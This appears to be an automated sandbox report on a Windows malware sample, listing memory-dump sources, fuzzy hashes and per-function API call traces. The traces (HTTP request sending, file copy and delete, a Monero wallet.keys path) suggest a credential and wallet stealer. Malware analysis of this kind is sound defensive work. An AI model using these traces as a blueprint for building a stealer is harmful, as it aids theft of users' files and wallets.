Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: c70144ffc074cf959935f3bd9814b0797117816d5f8c14b6bb92365e1fe6a209
Instruction ID: 1aa7dcd59f0c5793e6018a55841bde35c74909b92ec5deea6ba75c2e456f469a
Opcode Fuzzy Hash: c70144ffc074cf959935f3bd9814b0797117816d5f8c14b6bb92365e1fe6a209
Instruction Fuzzy Hash: 0B622FB9610204EFC744DFA8EC98D5A3FBAB76C741750852EE60EC3264DF34A846DB64

Function 009A7750 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 009A7764
RtlAllocateHeap.NTDLL(00000000), ref: 009A776B
lstrcat.KERNEL32(?,0148AFC0), ref: 009A791B
lstrcat.KERNEL32(?,?), ref: 009A792F
lstrcat.KERNEL32(?,?), ref: 009A7943
lstrcat.KERNEL32(?,?), ref: 009A7957
lstrcat.KERNEL32(?,0148F418), ref: 009A796B
lstrcat.KERNEL32(?,0148F298), ref: 009A797F
lstrcat.KERNEL32(?,0148F2B0), ref: 009A7992
lstrcat.KERNEL32(?,0148F4A8), ref: 009A79A6
lstrcat.KERNEL32(?,0148B048), ref: 009A79BA
lstrcat.KERNEL32(?,?), ref: 009A79CE
lstrcat.KERNEL32(?,?), ref: 009A79E2
lstrcat.KERNEL32(?,?), ref: 009A79F6
lstrcat.KERNEL32(?,0148F418), ref: 009A7A09
lstrcat.KERNEL32(?,0148F298), ref: 009A7A1D
lstrcat.KERNEL32(?,0148F2B0), ref: 009A7A31
lstrcat.KERNEL32(?,0148F4A8), ref: 009A7A44
lstrcat.KERNEL32(?,0148B0B0), ref: 009A7A58
lstrcat.KERNEL32(?,?), ref: 009A7A6C
lstrcat.KERNEL32(?,?), ref: 009A7A80
lstrcat.KERNEL32(?,?), ref: 009A7A94
lstrcat.KERNEL32(?,0148F418), ref: 009A7AA8
lstrcat.KERNEL32(?,0148F298), ref: 009A7ABB
lstrcat.KERNEL32(?,0148F2B0), ref: 009A7ACF
lstrcat.KERNEL32(?,0148F4A8), ref: 009A7AE3
lstrcat.KERNEL32(?,0148F758), ref: 009A7AF6
lstrcat.KERNEL32(?,?), ref: 009A7B0A
lstrcat.KERNEL32(?,?), ref: 009A7B1E
lstrcat.KERNEL32(?,?), ref: 009A7B32
lstrcat.KERNEL32(?,0148F418), ref: 009A7B46
lstrcat.KERNEL32(?,0148F298), ref: 009A7B5A
lstrcat.KERNEL32(?,0148F2B0), ref: 009A7B6D
lstrcat.KERNEL32(?,0148F4A8), ref: 009A7B81
lstrcat.KERNEL32(?,0148F7C0), ref: 009A7B95
lstrcat.KERNEL32(?,?), ref: 009A7BA9
lstrcat.KERNEL32(?,?), ref: 009A7BBD
lstrcat.KERNEL32(?,?), ref: 009A7BD1
lstrcat.KERNEL32(?,0148F418), ref: 009A7BE4
lstrcat.KERNEL32(?,0148F298), ref: 009A7BF8
lstrcat.KERNEL32(?,0148F2B0), ref: 009A7C0C
lstrcat.KERNEL32(?,0148F4A8), ref: 009A7C1F
lstrcat.KERNEL32(?,0148F828), ref: 009A7C33
lstrcat.KERNEL32(?,?), ref: 009A7C47
lstrcat.KERNEL32(?,?), ref: 009A7C5B
lstrcat.KERNEL32(?,?), ref: 009A7C6F
lstrcat.KERNEL32(?,0148F418), ref: 009A7C83
lstrcat.KERNEL32(?,0148F298), ref: 009A7C96
lstrcat.KERNEL32(?,0148F2B0), ref: 009A7CAA
lstrcat.KERNEL32(?,0148F4A8), ref: 009A7CBE

Part of subcall function 009A7610: lstrcat.KERNEL32(35CAD020,009C17A0), ref: 009A7646
Part of subcall function 009A7610: lstrcat.KERNEL32(35CAD020,00000000), ref: 009A7688
Part of subcall function 009A7610: lstrcat.KERNEL32(35CAD020, : ), ref: 009A769A
Part of subcall function 009A7610: lstrcat.KERNEL32(35CAD020,00000000), ref: 009A76CF
Part of subcall function 009A7610: lstrcat.KERNEL32(35CAD020,009C17A8), ref: 009A76E0
Part of subcall function 009A7610: lstrcat.KERNEL32(35CAD020,00000000), ref: 009A7713
Part of subcall function 009A7610: lstrcat.KERNEL32(35CAD020,009C17AC), ref: 009A772D
Part of subcall function 009A7610: task.LIBCPMTD ref: 009A773B

lstrcat.KERNEL32(?,0148F9E0), ref: 009A7E4B
lstrcat.KERNEL32(?,0148E0B0), ref: 009A7E5E
lstrlen.KERNEL32(35CAD020), ref: 009A7E6B
lstrlen.KERNEL32(35CAD020), ref: 009A7E7B

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 8d9d0028e9014e7f8ecfe4c5c168eed8ee1086744f86837f23aaaf1976468f51
Instruction ID: 1dcd57eead7f2626ae53e09ac21ccd844e0b6a74a9f5ebf3b46c292d186ff194
Opcode Fuzzy Hash: 8d9d0028e9014e7f8ecfe4c5c168eed8ee1086744f86837f23aaaf1976468f51
Instruction Fuzzy Hash: EA3242B6810214ABCB15EBA0DC89EDE773DAB5C700F448A99F60963090DE74E789CF64

Function 009A5150 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009BA170: lstrcpy.KERNEL32(?,00000000), ref: 009BA1B6

Part of subcall function 009A4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 009A483B
Part of subcall function 009A4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 009A4852
Part of subcall function 009A4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 009A4868
Part of subcall function 009A4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 009A4889
Part of subcall function 009A4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 009A4899

lstrlen.KERNEL32(00000000), ref: 009A51E3

Part of subcall function 009B8940: CryptBinaryToStringA.CRYPT32(00000000,009A51D4,40000001,00000000,00000000), ref: 009B8960

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 009A5257
StrCmpCA.SHLWAPI(?,0148FA70), ref: 009A5275
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 009A5390
HttpOpenRequestA.WININET(00000000,0148FAA0,?,0148F538,00000000,00000000,00400100,00000000), ref: 009A53F4

Part of subcall function 009BA380: lstrlen.KERNEL32(?,01489170,?,\Monero\wallet.keys,009C0DFF), ref: 009BA395
Part of subcall function 009BA380: lstrcpy.KERNEL32(00000000), ref: 009BA3D4
Part of subcall function 009BA380: lstrcat.KERNEL32(00000000,00000000), ref: 009BA3E2

Part of subcall function 009BA270: lstrcpy.KERNEL32(?,009C0DFF), ref: 009BA2D5

Part of subcall function 009BA2F0: lstrcpy.KERNEL32(00000000,?), ref: 009BA342
Part of subcall function 009BA2F0: lstrcat.KERNEL32(00000000), ref: 009BA352

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,0148FA20,00000000,?,0148E838,00000000,?,009C1980,00000000,?,009B4CAF), ref: 009A5787
lstrlen.KERNEL32(00000000), ref: 009A579B
GetProcessHeap.KERNEL32(00000000,?), ref: 009A57AC
RtlAllocateHeap.NTDLL(00000000), ref: 009A57B3
lstrlen.KERNEL32(00000000), ref: 009A57C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 009A57F9
lstrlen.KERNEL32(00000000), ref: 009A5818
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 009A5831
lstrlen.KERNEL32(00000000,?,?), ref: 009A585E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 009A5872
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 009A589D
InternetCloseHandle.WININET(00000000), ref: 009A5901
InternetCloseHandle.WININET(00000000), ref: 009A590E
InternetCloseHandle.WININET(00000000), ref: 009A5918

Strings

", xrefs: 009A54D2
--, xrefs: 009A52D0
------, xrefs: 009A568B
------, xrefs: 009A5407
------, xrefs: 009A52E7
", xrefs: 009A5614
", xrefs: 009A5756
------, xrefs: 009A5549

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: 52a7deba55ccb4a38a7b1b15bee67b87266a2829e9ea15a25959cac7db4d42f1
Instruction ID: 21e0c164f3288c79f3697528b1b5172b00df54ed02c4997ab32f997710645b54
Opcode Fuzzy Hash: 52a7deba55ccb4a38a7b1b15bee67b87266a2829e9ea15a25959cac7db4d42f1
Instruction Fuzzy Hash: 8B32EE71924118BADB18EBA4DD96FEEB37CBF94710F404159F10662092EF706E48CFA6

Function 009A59B0 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009BA170: lstrcpy.KERNEL32(?,00000000), ref: 009BA1B6

Part of subcall function 009A4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 009A483B
Part of subcall function 009A4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 009A4852
Part of subcall function 009A4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 009A4868
Part of subcall function 009A4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 009A4889
Part of subcall function 009A4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 009A4899

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 009A5A48
StrCmpCA.SHLWAPI(?,0148FA70), ref: 009A5A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 009A5BE3
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0148FA40,00000000,?,0148E838,00000000,?,009C19C0), ref: 009A5EC1
lstrlen.KERNEL32(00000000), ref: 009A5ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 009A5EE3
RtlAllocateHeap.NTDLL(00000000), ref: 009A5EEA
lstrlen.KERNEL32(00000000), ref: 009A5EFF
lstrlen.KERNEL32(00000000), ref: 009A5F28
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 009A5F41
lstrlen.KERNEL32(00000000,?,?), ref: 009A5F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 009A5F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 009A5F9C
InternetCloseHandle.WININET(00000000), ref: 009A6000
InternetCloseHandle.WININET(00000000), ref: 009A600D
HttpOpenRequestA.WININET(00000000,0148FAA0,?,0148F538,00000000,00000000,00400100,00000000), ref: 009A5C48

Part of subcall function 009BA380: lstrlen.KERNEL32(?,01489170,?,\Monero\wallet.keys,009C0DFF), ref: 009BA395
Part of subcall function 009BA380: lstrcpy.KERNEL32(00000000), ref: 009BA3D4
Part of subcall function 009BA380: lstrcat.KERNEL32(00000000,00000000), ref: 009BA3E2

Part of subcall function 009BA270: lstrcpy.KERNEL32(?,009C0DFF), ref: 009BA2D5

Part of subcall function 009BA2F0: lstrcpy.KERNEL32(00000000,?), ref: 009BA342
Part of subcall function 009BA2F0: lstrcat.KERNEL32(00000000), ref: 009BA352

InternetCloseHandle.WININET(00000000), ref: 009A6017

Strings

------, xrefs: 009A5AE6
", xrefs: 009A5D25
------, xrefs: 009A5C5B
", xrefs: 009A5E66
------, xrefs: 009A5D9C

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 7fb33396cd84b43e9a2fcfaf7ca20cced9ddbf0d4057c3232c7fb2f421365b9c
Instruction ID: 53b7daba3f7d64958971f60682e1688a95f00a53cbf15b759513568c8e6ba8a5
Opcode Fuzzy Hash: 7fb33396cd84b43e9a2fcfaf7ca20cced9ddbf0d4057c3232c7fb2f421365b9c
Instruction Fuzzy Hash: 6912C971924118BACB19EBA4DD96FEEB37CBF94710F404199F10A62091EF702F49CBA5

Function 009AA6C0 Relevance: 30.5, APIs: 20, Instructions: 495
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009BA440: StrCmpCA.SHLWAPI(01489440,009AA6D7,?,009AA6D7,01489440), ref: 009BA45F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 009AA9F2
RtlAllocateHeap.NTDLL(00000000), ref: 009AA9F9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 009AA7DA

Part of subcall function 009BA1F0: lstrlen.KERNEL32(009A4F55,?,?,009A4F55,009C0DC6), ref: 009BA1FB
Part of subcall function 009BA1F0: lstrcpy.KERNEL32(009C0DC6,00000000), ref: 009BA255

Part of subcall function 009BA380: lstrlen.KERNEL32(?,01489170,?,\Monero\wallet.keys,009C0DFF), ref: 009BA395
Part of subcall function 009BA380: lstrcpy.KERNEL32(00000000), ref: 009BA3D4
Part of subcall function 009BA380: lstrcat.KERNEL32(00000000,00000000), ref: 009BA3E2

Part of subcall function 009BA270: lstrcpy.KERNEL32(?,009C0DFF), ref: 009BA2D5

lstrcat.KERNEL32(?,00000000), ref: 009AAB3A
lstrcat.KERNEL32(?,009C12C4), ref: 009AAB49
lstrcat.KERNEL32(?,00000000), ref: 009AAB5C
lstrcat.KERNEL32(?,009C12C8), ref: 009AAB6B
lstrcat.KERNEL32(?,00000000), ref: 009AAB7E
lstrcat.KERNEL32(?,009C12CC), ref: 009AAB8D
lstrcat.KERNEL32(?,00000000), ref: 009AABA0
lstrcat.KERNEL32(?,009C12D0), ref: 009AABAF
lstrcat.KERNEL32(?,00000000), ref: 009AABC2
lstrcat.KERNEL32(?,009C12D4), ref: 009AABD1
lstrcat.KERNEL32(?,00000000), ref: 009AABE4
lstrcat.KERNEL32(?,009C12D8), ref: 009AABF3

Part of subcall function 009A9E60: LocalAlloc.KERNEL32(00000040,?), ref: 009A9EFE

lstrcat.KERNEL32(?,00000000), ref: 009AAC3C
lstrcat.KERNEL32(?,009C12DC), ref: 009AAC56
lstrlen.KERNEL32(?), ref: 009AAC95
lstrlen.KERNEL32(?), ref: 009AACA4

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

DeleteFileA.KERNEL32(00000000), ref: 009AAD1F

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrcat$lstrcpylstrlen$FileHeap$AllocAllocateCopyDeleteLocalProcess
String ID:
API String ID: 1656385275-0
Opcode ID: 36e1aea2f60a45c3ec13870de62e26458ace9679b1de10ca1332af382eb8e3b0
Instruction ID: 1c80eb1ef3a36257836b3b5fd179ab285616a278db8619979ce156886196eddb
Opcode Fuzzy Hash: 36e1aea2f60a45c3ec13870de62e26458ace9679b1de10ca1332af382eb8e3b0
Instruction Fuzzy Hash: EC024F71910108ABCB08EBA4DE96FEE777CAF98310F104159F507A70A1DF71AE09CB66

Function 009ACD30 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

Part of subcall function 009BA380: lstrlen.KERNEL32(?,01489170,?,\Monero\wallet.keys,009C0DFF), ref: 009BA395
Part of subcall function 009BA380: lstrcpy.KERNEL32(00000000), ref: 009BA3D4
Part of subcall function 009BA380: lstrcat.KERNEL32(00000000,00000000), ref: 009BA3E2

Part of subcall function 009BA270: lstrcpy.KERNEL32(?,009C0DFF), ref: 009BA2D5

Part of subcall function 009B8600: GetSystemTime.KERNEL32(009C0E02,0148ED18,009C059E,?,?,009A13F9,?,0000001A,009C0E02,00000000,?,01489170,?,\Monero\wallet.keys,009C0DFF), ref: 009B8626

Part of subcall function 009BA2F0: lstrcpy.KERNEL32(00000000,?), ref: 009BA342
Part of subcall function 009BA2F0: lstrcat.KERNEL32(00000000), ref: 009BA352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 009ACDC3
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 009ACF07
RtlAllocateHeap.NTDLL(00000000), ref: 009ACF0E
lstrcat.KERNEL32(?,00000000), ref: 009AD048
lstrcat.KERNEL32(?,009C141C), ref: 009AD057
lstrcat.KERNEL32(?,00000000), ref: 009AD06A
lstrcat.KERNEL32(?,009C1420), ref: 009AD079
lstrcat.KERNEL32(?,00000000), ref: 009AD08C
lstrcat.KERNEL32(?,009C1424), ref: 009AD09B
lstrcat.KERNEL32(?,00000000), ref: 009AD0AE
lstrcat.KERNEL32(?,009C1428), ref: 009AD0BD
lstrcat.KERNEL32(?,00000000), ref: 009AD0D0
lstrcat.KERNEL32(?,009C142C), ref: 009AD0DF
lstrcat.KERNEL32(?,00000000), ref: 009AD0F2
lstrcat.KERNEL32(?,009C1430), ref: 009AD101
lstrcat.KERNEL32(?,00000000), ref: 009AD114
lstrcat.KERNEL32(?,009C1434), ref: 009AD123

Part of subcall function 009BA1F0: lstrlen.KERNEL32(009A4F55,?,?,009A4F55,009C0DC6), ref: 009BA1FB
Part of subcall function 009BA1F0: lstrcpy.KERNEL32(009C0DC6,00000000), ref: 009BA255

lstrlen.KERNEL32(?), ref: 009AD16A
lstrlen.KERNEL32(?), ref: 009AD179

Part of subcall function 009BA440: StrCmpCA.SHLWAPI(01489440,009AA6D7,?,009AA6D7,01489440), ref: 009BA45F

DeleteFileA.KERNEL32(00000000), ref: 009AD1F4

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
